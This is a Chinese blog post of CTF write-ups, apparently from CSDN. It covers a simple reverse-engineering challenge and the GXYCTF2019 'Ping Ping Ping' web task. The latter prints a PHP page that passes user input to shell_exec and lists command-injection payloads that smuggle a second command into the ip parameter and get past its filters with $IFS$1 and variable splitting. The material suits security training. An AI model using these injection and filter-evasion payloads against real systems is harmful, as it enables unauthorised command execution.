buuctf

reverse1

莫名找到主函数/要用的

 str2能查看 发现字符

 

回来看 这段 

 

 改成char值         

C语言中字符型(char)  字符型(char)用于储存字符(character),如英文字母、数字或标点

1. char a='a';
2. char b='1';
3. char c='&';
4. char d=' ';

C 语言中保证 char 占用空间的大小足以储存系统所用的基本字符集的编码。C 语言定义一个字节(byte)的位数为 char 的位数,所以一个字节可能是 16 位,也可能是 32 位,而不仅仅限于 8 位

char是分配1字节,存储的是ASCII码,A:65,a:97

1.char a=48;
2.char b=65;
3.char c=97;
a == '0';b == 'A';c == 'a';

 把o换成0   {hell0_w0rld}

GXYCTF2019]Ping Ping Ping 

 过滤了空格和标点flag等符号 不能cat flag 就要考虑绕过 

空格过滤常见绕过注释:

< > %20(space), %09(tab), ${IFS}   $IFS$1   //$1改成$加其他数字貌似都行

  {cat,flag.php}     //用逗号实现了空格功能

 不行 flag过滤了  看另一个文件

 

 源码

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

正则匹配过滤:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 
用变量替换

源码中有一个$a变量可以覆盖

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php    没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php      过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php    有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag 

?ip=127.0.0.1;b=g;cat$IFS$1fla$b.php  查看源码 出现flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值